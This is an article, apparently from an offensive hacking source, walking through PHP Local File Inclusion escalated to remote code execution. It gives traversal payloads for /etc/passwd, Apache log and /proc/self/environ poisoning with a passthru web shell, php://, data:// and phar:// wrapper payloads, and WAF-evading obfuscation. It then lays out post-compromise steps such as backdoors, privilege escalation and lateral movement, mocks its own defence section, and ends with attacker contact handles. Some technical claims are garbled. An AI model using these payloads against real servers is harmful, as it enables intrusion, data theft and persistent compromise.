Unwind Local File Inclusion before Remote Code Execution

I. Introduction
Local File Inclusion (LFI) is a vulnerability in some web applications where the developer does not filter input from users, which can result in “internal” files being read on the victim server. This article discusses the consequences of using LFI, including the disclosure of sensitive server information.

Remote code execution (RCE) is the ability of an attacker to execute commands on a server. RCE is discussed as an attack technique that allows PHP scripts to be injected into a target site, which can lead to system access control violations.

II. Review

As with many web application vulnerabilities, LFI and RCE are due to insufficient validation of user input. Security must be taken into account during software development, especially when working with internal or external resources. LFI can lead to various threats such as leakage of sensitive information, code execution, and denial of service. The article highlights the importance of scanning user input and offers recommendations for mitigating LFI and RCE vulnerabilities. With the increase in the number of web applications, ensuring their security has become a critical aspect in the field of web development.

III. Implementation and research

Enabling Local Files

Local File Inclusion (LFI) technique is often used to read various files such as /etc/passwd, /etc/shadow, /etc/group, /etc/security/passwd, /etc/security/user, /etc/security/ environ, /etc/security/limits, or a database configuration file (config.inc.php). Here is an example of vulnerable PHP code that supports LFI:

<?php
$file = $_GET["file"];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>

LFI vulnerabilities are easy to discover and exploit. Any script that includes a file from a web server can be tested for LFI. For example:

/script.php?page=.../.../.../.../.../.../.../etc/passwd

Various LFI attacks use various PHP benchmarks, such as php?page=expect://ls, /fi/?page=php://input&cmd=ls, and others.
Remote Code Execution

Remote Code Execution (RCE), also known as RFI, is an attack technique that injects a PHP script into a target website, including "external" files (PHP Shell). The vulnerable PHP code could be:

<?php
$file = $_GET['page'];
include($file .".php");
?>
An attacker can successfully exploit this technique by injecting arbitrary commands into the victim's web server. By insufficiently checking the contents of the $page variable, it is possible to easily embed PHP Shell into a web page:


The Remote Code Execution (RCE) method can also be used to download unrestricted or shell files in the download function if there is no file format security check. LFI vulnerabilities can be exploited to execute commands by injecting malicious code into the Apache log, process environment, and other files.

LFI to RCE
1. Via log files:
By using LFI commands to read files such as /etc/passwd, /etc/shadow, etc., the attacker aims to create a malicious HTTP request in the Apache logs. The process looks like this:

telnet www.example.com 80
GET /index.php?p=hackpentagon.php HTTP/1.1

To execute arbitrary commands on the target system, you need to inject PHP code via an HTTP request:

telnet www.EXAMPLE.com 80
GET /cwh/<?passthru($_GET[cmd])?> HTTP/1.1


The LFI vulnerability is then exploited to execute arbitrary commands by determining the location of the logs.

www.example.com/index.php?p=../../apache/logs/access.log

After storing the code in log files, an attacker can execute arbitrary commands with the "cmd" variable:

www.example.com/hackpentagon.php?p=../../apache/logs/access.log%00&cmd=ls -la

2. Via Process Environ (User-Agent):

When a PHP page is requested, a new process is created, and each process has its own entry in /proc. To use User-Agent with malicious code, you can inject:

<?passthru($_GET[cmd])?>

When this code is injected into the UserAgent, /proc/self/environ contains malicious code:

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
[email protected]
<?passthru($_GET[cmd])?>
HTTP_KEEP_ALIVE=300

You can then run the command, specifying the location /proc/self/environ and the variable “cmd”:

www.example.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la

Advanced Attack:
Injection of malicious code through defense mechanisms

Web applications are often protected by various means: firewalls, IPS/IDS, WAF, etc. To bypass protection and introduce malicious code, attackers resort to various tricks.

A popular technique is obfuscation, where the PHP source code is masked in various ways. For example:
- String encoding: hex encoding of characters, conversion to base64, etc. Makes it difficult to detect IPS signatures.
- Using alternative PHP extensions like .phtml, .php3, .php5. Allows you to bypass PHP execution restrictions in some configurations.
- Operator splitting via ternary: or concatenation. - makes it difficult to find the original code.
- Calling UDF (user-defined functions) via CREATE FUNCTION or importing external libraries.

It is also possible to combine methods – for example, break the code into parts and encode the lines: $a=’b’.’a’.’s’.’e’.’6′.’4′.’d’.’e’.’c’.’o’;$b=’d’. ‘e’;$c=’e’;$d=str_replace(‘__’,”,${$a.$b.$c}(“cmd”)); This will make it very difficult for the IPS or WAF to be detected either.

Using PHP functionality

Another effective approach is to use PHP wrapped functions that can apply filters or access third-party resources. Classic examples: php://filter – allows you to encrypt/decrypt data on the fly:

?file=php://filter/read=convert.base64-encode/resource=config.php

- zip:// - accesses files in a ZIP archive on the server:

?file=zip://uploads/archive.zip%23malicious.php

- phar:// - executes code from PHP archives (.phar)

?file=phar://uploads/shell.jpg/test.txt

- 
data:// - can execute the code specified in the base64 parameter string:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


Attackers also resort to several wrapped functions:

file() -> php://filter -> zlib:// -> data:// -> base64_code

This allows you to hide the true attack vector from the IPS or WAF.

Given the rich functionality of PHP, attackers have many options to bypass protection and exploit LFI/RFI vulnerabilities.

Is it possible to immediately find these vulnerabilities so that you can poke, poke and you’re done? What advice can you give? Automated search for vulnerabilities

An effective approach to detecting potential LFI and RCE vulnerabilities is automated fuzzing of vulnerable parameters of a web application. There are many tools for these purposes, including:

• OWASP ZAP is a popular open source vulnerability scanner with built-in fuzzers

• Wfuzz is a command line utility that allows you to define dictionaries for testing various parameters

• Burp Suite is a platform for testing web applications, including intelligent vulnerability scanning functionality

To identify potentially vulnerable sections of code, scanners check the response when passing specially crafted data into request parameters. For example, the classic option is to select paths to local files and resources: ../../etc/passwd, locales\config.php, etc.

It also checks for the possibility of injecting arbitrary commands, accessing remote sites, and other dangerous options that may indicate LFI or RFI vulnerabilities.

Testing of detected vulnerabilities

Once a scan identifies a suspicious request, additional verification is required – possibly a false positive. The following methods are used to confirm vulnerability:

• Selection of current paths to critical files (for example, /etc/passwd), local scripts and their parameters. Analysis of received data or errors.

• Attempting to execute commands and analyzing server responses: checking for the presence of the necessary extensions, accessing temporary files, bypassing restrictions, etc.

• Researching the possibility of calling remote sites through wrappers, including templates and other code injection techniques.
• When an actual vulnerability is discovered, it is also important to determine its range of impact, the affected application components, and other details for subsequent exploitation.

Defining Environment Settings

Before launching a direct attack on an application, you need to collect the necessary data about the target’s infrastructure:

• Version of PHP build and modules used. Affects the choice of operating methods.

• Availability of necessary extensions and functions, available namespace. Checked by calling the appropriate functions in the injection.
• Possible restrictions from the firewall, IPS or the configuration of PHP itself.
• List of installed software that can be compromised. Identified when testing LFI to various configuration files.

This information helps you choose the optimal attack technique, understand which vectors will work, and which are most likely blocked by the application’s defense mechanisms.

Selecting an RCE Implementation Method

The final step is usually an attempt to inject and execute arbitrary code on the victim’s server. Depending on the characteristics of the target infrastructure, various attack options can be used:

• If you have write access to remote logs or intermediate files, the classic option is to implement them.

• If there is a vulnerable interpreter, an attempt to connect a PHP shell from an external source.

• Calling functions to execute code from a base64 string, encoded load, etc.

• Using Wrappers to run code from embedded ZIP/RAR archive files on the server.

• Calling UDFs or loaded malicious extensions, bypassing disable_functions restrictions, etc.

Try a combination of several methods, this can also help bypass WAF or IPS protection if the main attack vectors are blocked.

Let’s continue the attack:

• So, we gained access to the EXAMPLE server through the LFI or RCE vulnerability. Here’s what you could do next:Try to increase privileges to root using exploits. For example, check for vulnerable versions of sudo, cron, etc. – – –
• Compromise web applications running on the server. For example, if WordPress is installed there, you can try to access the admin area.
• Explore the file system in search of useful information – passwords, user data, script sources, etc. (all private software of the group will be leaked!)
• Set up a backdoor to maintain access. For example, a web shell in a publicly accessible directory.
• Let’s see what they’re doing there Scan the local network for other vulnerable servers that can be reached from the compromised system. Let’s find the leader.
• Use a hijacked server as a springboard for further attacks, such as phishing.

VI. Prevention

• Install the latest manufacturer patches for the affected software.

• Collect, analyze and use up-to-date threat information.

• Automation of the process of installing patches for workstations and servers.
• Consideration of implementing a chroot prison.
• Validation of files and file names provided by users.

• Careful checking of input data and initialization of variables.
• Disabling the allow_url_fopen and allow_url_include options.
• Disabling register_globals and using E_STRICT to find uninitialized variables.
• Thorough check of functions for working with files and streams (stream_*).
• Specify exact file locations to avoid injection of remote files.
• But who needs this if we have already hacked the EXAMPLE website?

V. Conclusion

After looking into enabling local files for remote execution, it becomes clear how remote files can be executed on a system by gaining unauthorized access. Due to deficiencies in the system configuration, even by simply executing PHP code, LFI in RCE can be easily accomplished. To prevent such cyber threats, it is important to analyze and respond to example websites in real time.

THE NOTE

This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.

TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72 Telegram : @DevSecAS

More from RCE

---